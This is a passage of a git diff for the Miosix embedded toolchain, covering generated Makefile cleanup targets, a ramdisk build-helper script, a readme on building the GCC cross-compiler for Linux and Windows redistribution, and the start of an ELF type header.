libc/machine/h8300/$(DEPDIR) libc/machine/h8500/$(DEPDIR) libc/machine/hppa/$(DEPDIR) libc/machine/i386/$(DEPDIR) libc/machine/i960/$(DEPDIR) libc/machine/iq2000/$(DEPDIR) libc/machine/lm32/$(DEPDIR) libc/machine/m32c/$(DEPDIR) libc/machine/m32r/$(DEPDIR) libc/machine/m68hc11/$(DEPDIR) libc/machine/m68k/$(DEPDIR) libc/machine/m88k/$(DEPDIR) libc/machine/mep/$(DEPDIR) libc/machine/microblaze/$(DEPDIR) libc/machine/mips/$(DEPDIR) libc/machine/mn10200/$(DEPDIR) libc/machine/mn10300/$(DEPDIR) libc/machine/moxie/$(DEPDIR) libc/machine/msp430/$(DEPDIR) libc/machine/mt/$(DEPDIR) libc/machine/nds32/$(DEPDIR) libc/machine/necv70/$(DEPDIR) libc/machine/nvptx/$(DEPDIR) libc/machine/or1k/$(DEPDIR) libc/machine/powerpc/$(DEPDIR) libc/machine/riscv/$(DEPDIR) libc/machine/rl78/$(DEPDIR) libc/machine/rx/$(DEPDIR) libc/machine/sh/$(DEPDIR) libc/machine/sparc/$(DEPDIR) libc/machine/spu/$(DEPDIR) libc/machine/tic4x/$(DEPDIR) libc/machine/tic6x/$(DEPDIR) libc/machine/tic80/$(DEPDIR) libc/machine/v850/$(DEPDIR) libc/machine/visium/$(DEPDIR) libc/machine/w65/$(DEPDIR) libc/machine/x86_64/$(DEPDIR) libc/machine/xc16x/$(DEPDIR) libc/machine/xstormy16/$(DEPDIR) libc/machine/xtensa/$(DEPDIR) libc/machine/z8k/$(DEPDIR) libc/misc/$(DEPDIR) libc/posix/$(DEPDIR) libc/reent/$(DEPDIR) libc/search/$(DEPDIR) libc/signal/$(DEPDIR) libc/ssp/$(DEPDIR) libc/stdio/$(DEPDIR) libc/stdio64/$(DEPDIR) libc/stdlib/$(DEPDIR) libc/string/$(DEPDIR) libc/sys/a29khif/$(DEPDIR) libc/sys/amdgcn/$(DEPDIR) libc/sys/arm/$(DEPDIR) libc/sys/d10v/$(DEPDIR) libc/sys/epiphany/$(DEPDIR) libc/sys/h8300hms/$(DEPDIR) libc/sys/h8500hms/$(DEPDIR) libc/sys/m88kbug/$(DEPDIR) libc/sys/mmixware/$(DEPDIR) libc/sys/netware/$(DEPDIR) libc/sys/or1k/$(DEPDIR) libc/sys/rdos/$(DEPDIR) libc/sys/rtems/$(DEPDIR) libc/sys/sh/$(DEPDIR) libc/sys/sysmec/$(DEPDIR) libc/sys/sysnec810/$(DEPDIR) libc/sys/sysnecv850/$(DEPDIR) libc/sys/sysvi386/$(DEPDIR) libc/sys/sysvnecv70/$(DEPDIR) libc/sys/tirtos/$(DEPDIR) libc/sys/w65/$(DEPDIR) libc/sys/z8ksim/$(DEPDIR) libc/syscalls/$(DEPDIR) libc/time/$(DEPDIR) libc/unix/$(DEPDIR) libc/xdr/$(DEPDIR) libm/common/$(DEPDIR) libm/complex/$(DEPDIR) libm/fenv/$(DEPDIR) libm/ld/$(DEPDIR) libm/ld128/$(DEPDIR) libm/ld80/$(DEPDIR) libm/machine/aarch64/$(DEPDIR) libm/machine/amdgcn/$(DEPDIR) libm/machine/arm/$(DEPDIR) libm/machine/i386/$(DEPDIR) libm/machine/mips/$(DEPDIR) libm/machine/nds32/$(DEPDIR) libm/machine/powerpc/$(DEPDIR) libm/machine/pru/$(DEPDIR) libm/machine/riscv/$(DEPDIR) libm/machine/sparc/$(DEPDIR) libm/machine/spu/$(DEPDIR) libm/machine/x86_64/$(DEPDIR) libm/machine/xtensa/$(DEPDIR) libm/math/$(DEPDIR) libm/mathfp/$(DEPDIR) libm/test/$(DEPDIR) ++ -rm -rf libc/argz/$(DEPDIR) libc/ctype/$(DEPDIR) libc/errno/$(DEPDIR) libc/iconv/ccs/$(DEPDIR) libc/iconv/ces/$(DEPDIR) libc/iconv/lib/$(DEPDIR) libc/locale/$(DEPDIR) libc/machine/aarch64/$(DEPDIR) libc/machine/amdgcn/$(DEPDIR) libc/machine/arc/$(DEPDIR) libc/machine/arc64/$(DEPDIR) libc/machine/arm/$(DEPDIR) libc/machine/bfin/$(DEPDIR) libc/machine/cr16/$(DEPDIR) libc/machine/cris/$(DEPDIR) libc/machine/crx/$(DEPDIR) libc/machine/csky/$(DEPDIR) libc/machine/d10v/$(DEPDIR) libc/machine/d30v/$(DEPDIR) libc/machine/epiphany/$(DEPDIR) libc/machine/fr30/$(DEPDIR) libc/machine/frv/$(DEPDIR) libc/machine/ft32/$(DEPDIR) libc/machine/h8300/$(DEPDIR) libc/machine/h8500/$(DEPDIR) libc/machine/hppa/$(DEPDIR) libc/machine/i386/$(DEPDIR) libc/machine/i960/$(DEPDIR) libc/machine/iq2000/$(DEPDIR) libc/machine/lm32/$(DEPDIR) libc/machine/m32c/$(DEPDIR) libc/machine/m32r/$(DEPDIR) libc/machine/m68hc11/$(DEPDIR) libc/machine/m68k/$(DEPDIR) libc/machine/m88k/$(DEPDIR) libc/machine/mep/$(DEPDIR) libc/machine/microblaze/$(DEPDIR) libc/machine/mips/$(DEPDIR) libc/machine/mn10200/$(DEPDIR) libc/machine/mn10300/$(DEPDIR) libc/machine/moxie/$(DEPDIR) libc/machine/msp430/$(DEPDIR) libc/machine/mt/$(DEPDIR) libc/machine/nds32/$(DEPDIR) libc/machine/necv70/$(DEPDIR) libc/machine/nvptx/$(DEPDIR) libc/machine/or1k/$(DEPDIR) libc/machine/powerpc/$(DEPDIR) libc/machine/riscv/$(DEPDIR) libc/machine/rl78/$(DEPDIR) libc/machine/rx/$(DEPDIR) libc/machine/sh/$(DEPDIR) libc/machine/sparc/$(DEPDIR) libc/machine/spu/$(DEPDIR) libc/machine/tic4x/$(DEPDIR) libc/machine/tic6x/$(DEPDIR) libc/machine/tic80/$(DEPDIR) libc/machine/v850/$(DEPDIR) libc/machine/visium/$(DEPDIR) libc/machine/w65/$(DEPDIR) libc/machine/x86_64/$(DEPDIR) libc/machine/xc16x/$(DEPDIR) libc/machine/xstormy16/$(DEPDIR) libc/machine/xtensa/$(DEPDIR) libc/machine/z8k/$(DEPDIR) libc/misc/$(DEPDIR) libc/posix/$(DEPDIR) libc/reent/$(DEPDIR) libc/search/$(DEPDIR) libc/signal/$(DEPDIR) libc/ssp/$(DEPDIR) libc/stdio/$(DEPDIR) libc/stdio64/$(DEPDIR) libc/stdlib/$(DEPDIR) libc/string/$(DEPDIR) libc/sys/a29khif/$(DEPDIR) libc/sys/amdgcn/$(DEPDIR) libc/sys/arm/$(DEPDIR) libc/sys/d10v/$(DEPDIR) libc/sys/epiphany/$(DEPDIR) libc/sys/h8300hms/$(DEPDIR) libc/sys/h8500hms/$(DEPDIR) libc/sys/m88kbug/$(DEPDIR) libc/sys/miosix/$(DEPDIR) libc/sys/mmixware/$(DEPDIR) libc/sys/netware/$(DEPDIR) libc/sys/or1k/$(DEPDIR) libc/sys/rdos/$(DEPDIR) libc/sys/rtems/$(DEPDIR) libc/sys/sh/$(DEPDIR) libc/sys/sysmec/$(DEPDIR) libc/sys/sysnec810/$(DEPDIR) libc/sys/sysnecv850/$(DEPDIR) libc/sys/sysvi386/$(DEPDIR) libc/sys/sysvnecv70/$(DEPDIR) libc/sys/tirtos/$(DEPDIR) libc/sys/w65/$(DEPDIR) libc/sys/z8ksim/$(DEPDIR) libc/syscalls/$(DEPDIR) libc/time/$(DEPDIR) libc/unix/$(DEPDIR) libc/xdr/$(DEPDIR) libm/common/$(DEPDIR) libm/complex/$(DEPDIR) libm/fenv/$(DEPDIR) libm/ld/$(DEPDIR) libm/ld128/$(DEPDIR) libm/ld80/$(DEPDIR) libm/machine/aarch64/$(DEPDIR) libm/machine/amdgcn/$(DEPDIR) libm/machine/arm/$(DEPDIR) libm/machine/i386/$(DEPDIR) libm/machine/mips/$(DEPDIR) libm/machine/nds32/$(DEPDIR) libm/machine/powerpc/$(DEPDIR) libm/machine/pru/$(DEPDIR) libm/machine/riscv/$(DEPDIR) libm/machine/sparc/$(DEPDIR) libm/machine/spu/$(DEPDIR) libm/machine/x86_64/$(DEPDIR) libm/machine/xtensa/$(DEPDIR) libm/math/$(DEPDIR) libm/mathfp/$(DEPDIR) libm/test/$(DEPDIR) + -rm -f Makefile + distclean-am: clean-am distclean-DEJAGNU distclean-compile \ + distclean-generic distclean-hdr distclean-local distclean-tags +@@ -50914,7 +50982,7 @@ + maintainer-clean: maintainer-clean-am + -rm -f $(am__CONFIG_DISTCLEAN_FILES) + -rm -rf $(top_srcdir)/autom4te.cache +- -rm -rf libc/argz/$(DEPDIR) libc/ctype/$(DEPDIR) libc/errno/$(DEPDIR) libc/iconv/ccs/$(DEPDIR) libc/iconv/ces/$(DEPDIR) libc/iconv/lib/$(DEPDIR) libc/locale/$(DEPDIR) libc/machine/aarch64/$(DEPDIR) libc/machine/amdgcn/$(DEPDIR) libc/machine/arc/$(DEPDIR) libc/machine/arc64/$(DEPDIR) libc/machine/arm/$(DEPDIR) libc/machine/bfin/$(DEPDIR) libc/machine/cr16/$(DEPDIR) libc/machine/cris/$(DEPDIR) libc/machine/crx/$(DEPDIR) libc/machine/csky/$(DEPDIR) libc/machine/d10v/$(DEPDIR) libc/machine/d30v/$(DEPDIR) libc/machine/epiphany/$(DEPDIR) libc/machine/fr30/$(DEPDIR) libc/machine/frv/$(DEPDIR) libc/machine/ft32/$(DEPDIR) libc/machine/h8300/$(DEPDIR) libc/machine/h8500/$(DEPDIR) libc/machine/hppa/$(DEPDIR) libc/machine/i386/$(DEPDIR) libc/machine/i960/$(DEPDIR) libc/machine/iq2000/$(DEPDIR) libc/machine/lm32/$(DEPDIR) libc/machine/m32c/$(DEPDIR) libc/machine/m32r/$(DEPDIR) libc/machine/m68hc11/$(DEPDIR) libc/machine/m68k/$(DEPDIR) libc/machine/m88k/$(DEPDIR) libc/machine/mep/$(DEPDIR) libc/machine/microblaze/$(DEPDIR) libc/machine/mips/$(DEPDIR) libc/machine/mn10200/$(DEPDIR) libc/machine/mn10300/$(DEPDIR) libc/machine/moxie/$(DEPDIR) libc/machine/msp430/$(DEPDIR) libc/machine/mt/$(DEPDIR) libc/machine/nds32/$(DEPDIR) libc/machine/necv70/$(DEPDIR) libc/machine/nvptx/$(DEPDIR) libc/machine/or1k/$(DEPDIR) libc/machine/powerpc/$(DEPDIR) libc/machine/riscv/$(DEPDIR) libc/machine/rl78/$(DEPDIR) libc/machine/rx/$(DEPDIR) libc/machine/sh/$(DEPDIR) libc/machine/sparc/$(DEPDIR) libc/machine/spu/$(DEPDIR) libc/machine/tic4x/$(DEPDIR) libc/machine/tic6x/$(DEPDIR) libc/machine/tic80/$(DEPDIR) libc/machine/v850/$(DEPDIR) libc/machine/visium/$(DEPDIR) libc/machine/w65/$(DEPDIR) libc/machine/x86_64/$(DEPDIR) libc/machine/xc16x/$(DEPDIR) libc/machine/xstormy16/$(DEPDIR) libc/machine/xtensa/$(DEPDIR) libc/machine/z8k/$(DEPDIR) libc/misc/$(DEPDIR) libc/posix/$(DEPDIR) libc/reent/$(DEPDIR) libc/search/$(DEPDIR) libc/signal/$(DEPDIR) libc/ssp/$(DEPDIR) libc/stdio/$(DEPDIR) libc/stdio64/$(DEPDIR) libc/stdlib/$(DEPDIR) libc/string/$(DEPDIR) libc/sys/a29khif/$(DEPDIR) libc/sys/amdgcn/$(DEPDIR) libc/sys/arm/$(DEPDIR) libc/sys/d10v/$(DEPDIR) libc/sys/epiphany/$(DEPDIR) libc/sys/h8300hms/$(DEPDIR) libc/sys/h8500hms/$(DEPDIR) libc/sys/m88kbug/$(DEPDIR) libc/sys/mmixware/$(DEPDIR) libc/sys/netware/$(DEPDIR) libc/sys/or1k/$(DEPDIR) libc/sys/rdos/$(DEPDIR) libc/sys/rtems/$(DEPDIR) libc/sys/sh/$(DEPDIR) libc/sys/sysmec/$(DEPDIR) libc/sys/sysnec810/$(DEPDIR) libc/sys/sysnecv850/$(DEPDIR) libc/sys/sysvi386/$(DEPDIR) libc/sys/sysvnecv70/$(DEPDIR) libc/sys/tirtos/$(DEPDIR) libc/sys/w65/$(DEPDIR) libc/sys/z8ksim/$(DEPDIR) libc/syscalls/$(DEPDIR) libc/time/$(DEPDIR) libc/unix/$(DEPDIR) libc/xdr/$(DEPDIR) libm/common/$(DEPDIR) libm/complex/$(DEPDIR) libm/fenv/$(DEPDIR) libm/ld/$(DEPDIR) libm/ld128/$(DEPDIR) libm/ld80/$(DEPDIR) libm/machine/aarch64/$(DEPDIR) libm/machine/amdgcn/$(DEPDIR) libm/machine/arm/$(DEPDIR) libm/machine/i386/$(DEPDIR) libm/machine/mips/$(DEPDIR) libm/machine/nds32/$(DEPDIR) libm/machine/powerpc/$(DEPDIR) libm/machine/pru/$(DEPDIR) libm/machine/riscv/$(DEPDIR) libm/machine/sparc/$(DEPDIR) libm/machine/spu/$(DEPDIR) libm/machine/x86_64/$(DEPDIR) libm/machine/xtensa/$(DEPDIR) libm/math/$(DEPDIR) libm/mathfp/$(DEPDIR) libm/test/$(DEPDIR) ++ -rm -rf libc/argz/$(DEPDIR) libc/ctype/$(DEPDIR) libc/errno/$(DEPDIR) libc/iconv/ccs/$(DEPDIR) libc/iconv/ces/$(DEPDIR) libc/iconv/lib/$(DEPDIR) libc/locale/$(DEPDIR) libc/machine/aarch64/$(DEPDIR) libc/machine/amdgcn/$(DEPDIR) libc/machine/arc/$(DEPDIR) libc/machine/arc64/$(DEPDIR) libc/machine/arm/$(DEPDIR) libc/machine/bfin/$(DEPDIR) libc/machine/cr16/$(DEPDIR) libc/machine/cris/$(DEPDIR) libc/machine/crx/$(DEPDIR) libc/machine/csky/$(DEPDIR) libc/machine/d10v/$(DEPDIR) libc/machine/d30v/$(DEPDIR) libc/machine/epiphany/$(DEPDIR) libc/machine/fr30/$(DEPDIR) libc/machine/frv/$(DEPDIR) libc/machine/ft32/$(DEPDIR) libc/machine/h8300/$(DEPDIR) libc/machine/h8500/$(DEPDIR) libc/machine/hppa/$(DEPDIR) libc/machine/i386/$(DEPDIR) libc/machine/i960/$(DEPDIR) libc/machine/iq2000/$(DEPDIR) libc/machine/lm32/$(DEPDIR) libc/machine/m32c/$(DEPDIR) libc/machine/m32r/$(DEPDIR) libc/machine/m68hc11/$(DEPDIR) libc/machine/m68k/$(DEPDIR) libc/machine/m88k/$(DEPDIR) libc/machine/mep/$(DEPDIR) libc/machine/microblaze/$(DEPDIR) libc/machine/mips/$(DEPDIR) libc/machine/mn10200/$(DEPDIR) libc/machine/mn10300/$(DEPDIR) libc/machine/moxie/$(DEPDIR) libc/machine/msp430/$(DEPDIR) libc/machine/mt/$(DEPDIR) libc/machine/nds32/$(DEPDIR) libc/machine/necv70/$(DEPDIR) libc/machine/nvptx/$(DEPDIR) libc/machine/or1k/$(DEPDIR) libc/machine/powerpc/$(DEPDIR) libc/machine/riscv/$(DEPDIR) libc/machine/rl78/$(DEPDIR) libc/machine/rx/$(DEPDIR) libc/machine/sh/$(DEPDIR) libc/machine/sparc/$(DEPDIR) libc/machine/spu/$(DEPDIR) libc/machine/tic4x/$(DEPDIR) libc/machine/tic6x/$(DEPDIR) libc/machine/tic80/$(DEPDIR) libc/machine/v850/$(DEPDIR) libc/machine/visium/$(DEPDIR) libc/machine/w65/$(DEPDIR) libc/machine/x86_64/$(DEPDIR) libc/machine/xc16x/$(DEPDIR) libc/machine/xstormy16/$(DEPDIR) libc/machine/xtensa/$(DEPDIR) libc/machine/z8k/$(DEPDIR) libc/misc/$(DEPDIR) libc/posix/$(DEPDIR) libc/reent/$(DEPDIR) libc/search/$(DEPDIR) libc/signal/$(DEPDIR) libc/ssp/$(DEPDIR) libc/stdio/$(DEPDIR) libc/stdio64/$(DEPDIR) libc/stdlib/$(DEPDIR) libc/string/$(DEPDIR) libc/sys/a29khif/$(DEPDIR) libc/sys/amdgcn/$(DEPDIR) libc/sys/arm/$(DEPDIR) libc/sys/d10v/$(DEPDIR) libc/sys/epiphany/$(DEPDIR) libc/sys/h8300hms/$(DEPDIR) libc/sys/h8500hms/$(DEPDIR) libc/sys/m88kbug/$(DEPDIR) libc/sys/miosix/$(DEPDIR) libc/sys/mmixware/$(DEPDIR) libc/sys/netware/$(DEPDIR) libc/sys/or1k/$(DEPDIR) libc/sys/rdos/$(DEPDIR) libc/sys/rtems/$(DEPDIR) libc/sys/sh/$(DEPDIR) libc/sys/sysmec/$(DEPDIR) libc/sys/sysnec810/$(DEPDIR) libc/sys/sysnecv850/$(DEPDIR) libc/sys/sysvi386/$(DEPDIR) libc/sys/sysvnecv70/$(DEPDIR) libc/sys/tirtos/$(DEPDIR) libc/sys/w65/$(DEPDIR) libc/sys/z8ksim/$(DEPDIR) libc/syscalls/$(DEPDIR) libc/time/$(DEPDIR) libc/unix/$(DEPDIR) libc/xdr/$(DEPDIR) libm/common/$(DEPDIR) libm/complex/$(DEPDIR) libm/fenv/$(DEPDIR) libm/ld/$(DEPDIR) libm/ld128/$(DEPDIR) libm/ld80/$(DEPDIR) libm/machine/aarch64/$(DEPDIR) libm/machine/amdgcn/$(DEPDIR) libm/machine/arm/$(DEPDIR) libm/machine/i386/$(DEPDIR) libm/machine/mips/$(DEPDIR) libm/machine/nds32/$(DEPDIR) libm/machine/powerpc/$(DEPDIR) libm/machine/pru/$(DEPDIR) libm/machine/riscv/$(DEPDIR) libm/machine/sparc/$(DEPDIR) libm/machine/spu/$(DEPDIR) libm/machine/x86_64/$(DEPDIR) libm/machine/xtensa/$(DEPDIR) libm/math/$(DEPDIR) libm/mathfp/$(DEPDIR) libm/test/$(DEPDIR) + -rm -f Makefile + maintainer-clean-am: distclean-am maintainer-clean-aminfo \ + maintainer-clean-generic maintainer-clean-local diff --git a/tools/compiler/gcc-15.2.0-mp4.2/ramdisk.sh b/tools/compiler/gcc-15.2.0-mp4.2/ramdisk.sh new file mode 100644 index 000000000..ccb6fe34d --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/ramdisk.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash + +# Useful script to speed up compilation and/or save write cycles on an SSD by +# compiling in a ramdisk. Only viable if you have at least 20+GByte of RAM. + +case $(uname -s) in + Linux) + mkdir -p ramdisk + sudo umount ramdisk 2> /dev/null # If not already mounted it's not an error + sudo mount -t tmpfs -o size=15872M,uid=`id -u`,gid=`id -g`,mode=700 tmpfs ramdisk + sudo -k + ;; + Darwin) + ramdisk_size=$(( 15872 * 1024 )) # 15.5GB + ramdisk_name="miosix_ramdisk_$RANDOM" + diskutil erasevolume HFS+ "$ramdisk_name" $(hdiutil attach -nobrowse -nomount ram://$(( ramdisk_size ))) > /dev/stderr + ln -s "/Volumes/$ramdisk_name/" ./ramdisk + ;; + *) + echo "error: I don't know how to make a ramdisk on platform " $(uname -s) > /dev/stderr + exit 1 + ;; +esac + +ln -s `pwd`/downloaded ramdisk/downloaded +cp -R installers ramdisk +cp -R libsyscalls ramdisk +cp -R mx-buildromfs ramdisk +cp -R mx-maputil ramdisk +cp -R mx-postlinker ramdisk +cp -R patches ramdisk +cp -R shared ramdisk +cp cleanup.sh ramdisk +cp install-script.sh ramdisk +cp uninstall.sh ramdisk diff --git a/tools/compiler/gcc-15.2.0-mp4.2/readme.md b/tools/compiler/gcc-15.2.0-mp4.2/readme.md new file mode 100644 index 000000000..c036dd4db --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/readme.md @@ -0,0 +1,271 @@ + +# The Miosix toolchain + +The Miosix toolchain is a set of scripts and patches to build a GCC-based cross-compiler able to compile the Miosix fluid kernel. For the ARM architecture, the various GNU-based tools (gcc, g++, gdb, ld, as, ...) are prefixed with `arm-miosix-eabi-` (so for example the C compiler will be `arm-miosix-eabi-gcc`). Additionally, to support building userspace programs the installation scripts also build the `mx-postlinker`, `mx-buildromfs` and `mx-maputil` utility programs and the libsyscalls library (since in a fluid kernel the libc is linked to both the kernel and userspace programs, it does **not** contain syscalls, which instead live in a separate library linked only when compiling programs. When compiling the kernel, undefined references to syscall functions are resolved by linking to kercalls in the kernel). + +## Pre-compiled release builds + +We provide a [pre-compiled release](https://miosix.org/wiki/index.php?title=Miosix_Toolchain) of the Miosix toolchain, and expect most users will just want to install that. We provide builds for Linux (x86_64), Windows (x86_64) and Mac OS (ARM and x86_64). If you instead prefer to build the toolchain yourself, keep on reading. + +## Builing the Miosix toolchain for Linux + +Building the Miosix toolchain requires about 20GB of free disk space for temporary files, 8GB of RAM or more, and about one hour of build time, on a relatively modern computer. The build time mostly depends on the number of CPU cores available. To speed up compilation further it is possible to do the build in a ramdisk (`ramdisk.sh` script) but this requires 32GB of RAM. + +### Step 1: Prerequisites + +Make sure this directory (the one containing `install-script.sh`) is in a path without spaces, or compiling will fail. +Example: + +- `/home/foo/temp` OK +- `/home/foo/directory with spaces/temp` NO!! + +Also make sure you ***do not*** have a previous version of the Miosix toolchain installed system-wide (or in your `PATH`), either compiled from source or installed pre-compiled. +If you type `arm-miosix-eabi-gcc` in your shell you should get a no such program error. + +If you have a previous toolchain installed system-wide, here's how to uninstall it: + +``` +cd /opt/arm-miosix-eabi +./uninstall.sh +``` + +### Step 2: Dependencies + +Install the following dependencies: +xz-utils, curl, gcc, g++, make, cmake, ncurses, byacc, flex, texinfo, patch, tar, unzip, lzip, libelf perl libexpat. + +For example, for Ubuntu/Kubuntu open a shell and type: + +``` +sudo apt install xz-utils curl gcc g++ make cmake libncurses5-dev byacc flex texinfo patch tar unzip lzip libelf-dev perl libexpat1-dev +``` + +While on Fedora: + +``` +sudo dnf install xz-utils curl gcc gcc-c++ make cmake ncurses-devel byacc flex texinfo patch tar unzip lzip elfutils-libelf-devel perl expat-devel +``` + +Note: the install scripts require `sudo`, unless you want to intall the compiler locally. +If you use a distro like Fedora where sudo is not enabled by default, you need to enable sudo for your account. + +Note: some recent version of Linux operating systems no longer provide an `/opt` directory. If this is the case in your system, create it with `sudo mkdir /opt`. + +### Step 3: Download sources + +Download the the required sources with the download script: + +``` +./download.sh +``` + +### Step 4: Choose how to compile the toolchain + +The `install-script.sh` file includes some configuration options. For a personal (non-redistributable) build, you can choose whether to install the compiler system-wide (in the `/opt` directory, with symlinks to `/usr/bin`) or locally (in an `arm-miosix-eabi` subdirectory of the directory you're building the compiler from). In the latter case, `sudo` is not required, but you will have to add the `arm-miosix-eabi/bin` subdirectory to your `PATH` variable to be able to use the compiler. + +The configuration is done by commenting/uncommenting lines in the `install-script.sh` file. +The default is a system-wide build, with those lines uncommented: + +``` +PREFIX=/opt/arm-miosix-eabi +DESTDIR= +SUDO=sudo +``` + +If you prefer a local build, comment the lines above and uncomment these lines: + +``` +PREFIX=`pwd`/arm-miosix-eabi +DESTDIR= +SUDO= +``` + +Finally, if you want to take advantage of the ramdisk (this makes sense only for a system-wide install, as the locally-installed compiler will be deleted together with the ramdisk when you shut down the computer...), do a + +``` +./ramdisk.sh +cd ramdisk +``` +and proceed the installation from the `ramdisk` directory intead of the parent directory. + +### Step 5: Build + +Compile and install with + +``` +./install-script.sh -j`nproc` +./cleanup.sh +``` + +If you're installing system-wide, both scripts will prompt for root password at +some point. It is normal, since they need to write in `/opt` and `/usr/bin`. +The cleanup script won't remove the compressed files downloaded with the +download script. You might want to do so manually to save space on your disk. + + +### Step 6: Testing + +Test the compiler by typing in a shell + +``` +arm-miosix-eabi-gcc --version +``` + +If you get something like + +``` +bash: arm-miosix-eabi-gcc: command not found +``` + +it means something did not work. + + +### Step 7: Additional tools + +The Miosix toolchain is just the compiler/debugger. For developing for embedded systems you'll likely need some other tools such as OpenOCD for in circuit debugging, and tools for flashing microcontrollers such as `st-flash`, `dfu-util`, etc. + +There are no scripts for doing that, since there are no dependencies with Miosix. On many distros these tools also available through package managers, for example on Ubuntu/Kubuntu you can install them with + +``` +sudo apt-get install openocd stlink-tools dfu-util +``` + +The above command is just an example, the additional tools you'll need depend on the microcontroller you're targeting. + +## Builing the Miosix toolchain for Mac OS + +TODO: This needs documenting. + +## Builing the Miosix toolchain for Windows + +Building the Miosix toolchain ***for*** Windows ***from*** Windows is not supported. You'll need a Linux machine (or virtual machine) and follow the instructions for making a redistributable Windows build from Linux. For Windows it's much easier to install a pre-compiled build you can dowload from [miosix.org](https://miosix.org). + + + +# Making redistributable builds + +This part of the readme is mostly of interest to maintainers to produce the redistributable builds that are uploaded to [miosix.org](https://miosix.org). + +## Making a Linux redistributable build + +The main issue when making Linux redistributable builds is that the glibc C library is not backwards compatible. This means that if you make the build, let's say on Ubuntu 24.04, the produced binaries will most likely not work on previous versions of Ubuntu or on other distros that use older versions of glibc, throwing glibc-related errors and refusing to run. We work around this issue by making redistributable builds on older operating systems releases, though at every release we are forced to drop support for some older system. + +Compiling a redistributable for Linux requires the following additional steps: + +### Download additional files + +``` +./installers/additional-download.sh +``` + +### Select a redistributable Linux build + +Comment the defaults in `install-script.sh` and uncomment the following options: + +``` +PREFIX=/opt/arm-miosix-eabi +DESTDIR=`pwd`/dist +SUDO= +``` + +and + +``` +BUILD= +HOST=x86_64-linux-gnu +``` + +## Making a Mac OS redistributable build + +TODO: This needs documenting. + +## Making a Windows redistributable build + +Redistributable Windows build are done through "Canadian cross compiling", where you're building on a platform (Linux) a compiler that will run on a second platform (Windows) and will produce binaries for a third platfom (Miosix). + +Since you'll need to build the standard libraries (libgcc, libc, libstdc++, ...) too, and the compiler you're building does not run on the platform you're building from, you'll need to install the Linux compiler system-wide first. +However, you'll need a ***special*** version of the Linux compiler, one where `stubs.o` has not been removed from libc. + +What's `stubs.o`, you may ask? Here's the long version of the explanation. The standard libraries are built with autotools, whose configuration system relies on compiling and linking small programs to test for features. +That's a problem because the kernelspace multilibs of the standard libraries are meant to be linked with the Miosix kernel, not to produce standalone binaries. +Attempting to link a program using those multilibs will just fail with undefined references to syscalls functions. +As a result the linking of the autotools-generated programs will fail, halting the build. We work around this issue by adding to libc a special file, `stubs.o` that contains stubs for all syscalls (this is part of the newlib patches). +This file is compiled as part of libc, and is only used while the compiler is built to make the autoconf tests work when building the rest of the standard libraries beyond libc (libgcc, libstdc++, libatomic, libgomp). +This stubs file is then removed by `install-script.sh`, so after the compiler is built, libc no longer contains those stubs. + +This solution works transparently on all platforms, except when making a Windows redistributable build. In this case, the system-wide installed Linux compiler needs to still have the `stubs.o` in libc as these are used for feature checks. We tried to convince the build scripts of gcc to use the version of the libc we're about to bundle in the Windows compiler (which still has `stubs.o`), instead of the one installed system-wide, but they insist on using the wrong version (that's also the reason why you ***must*** uninstall an older Miosix toolchain when builing the Miosix toolchain). So, as a workaround, we install system-wide a special version of the Linux compiler with `stubs.o` still present just for the purpose of building the Windows compiler. This Linux compiler should ***not*** be used for building the Miosix kernel (where the stubs would cause issues), it is only useful as an intermediary tool for building the Windows compiler. + +After this rather long explanation about internal details of the build process, here's how to build a Windows redistribtuable compiler. + +### Install dependencies + +``` +./installers/additional-download.sh +``` + +Install Wine, mingw and the innosetup that has been downloaded at the previous step. + +``` +sudo apt install wine mingw-w64 +sudo -k +wine downloaded/innosetup.exe +``` + +### Build the system-wide Linux compiler with stubs + +In `install-script.sh` change + +``` +STRIP_STUBS_FROM_LIBC=true +``` + +to + +``` +STRIP_STUBS_FROM_LIBC=false +``` + +and make sure the system-wide Linux installation is selected + +``` +PREFIX=/opt/arm-miosix-eabi +DESTDIR= +SUDO=sudo +``` +and + +``` +BUILD= +HOST= +``` + +Then build the local compiler as usual. It should end up in `/opt`. Don't forget to `./cleanup.sh` + +Finally, get ready for building the Windows compiler: revert `install-scripts.sh` to stripping stubs. + +``` +STRIP_STUBS_FROM_LIBC=true +``` + +and select the Windows redistributable + +``` +PREFIX=/opt/arm-miosix-eabi +DESTDIR=`pwd`/dist +SUDO= +``` + +and + +``` +BUILD= +HOST=x86_64-w64-mingw32 +``` + +Then run + +``` +./install-script.sh -j`nproc` +``` + +At the end the compiler will be placed in `installers/windows/Output`. diff --git a/tools/compiler/gcc-15.2.0-mp4.2/shared/elf_types.h b/tools/compiler/gcc-15.2.0-mp4.2/shared/elf_types.h new file mode 100644 index 000000000..8fc3525d6 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/shared/elf_types.h @@ -0,0 +1,208 @@ +/*************************************************************************** + * Copyright (C) 2012 by Luigi Rucco and Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include + +namespace miosix { + +// elf-specific types +typedef uint32_t Elf32_Word; +typedef int32_t Elf32_Sword; +typedef uint16_t Elf32_Half; +typedef uint32_t Elf32_Off; +typedef uint32_t Elf32_Addr; + +// Size of e_ident in the elf header +const int EI_NIDENT=16; + +/* + * Elf header + */ +struct Elf32_Ehdr +{ + unsigned char e_ident[EI_NIDENT]; // Ident bytes + Elf32_Half e_type; // File type, any of the ET_* constants + Elf32_Half e_machine; // Target machine + Elf32_Word e_version; // File version + Elf32_Addr e_entry; // Start address + Elf32_Off e_phoff; // Phdr file offset + Elf32_Off e_shoff; // Shdr file offset + Elf32_Word e_flags; // File flags + Elf32_Half e_ehsize; // 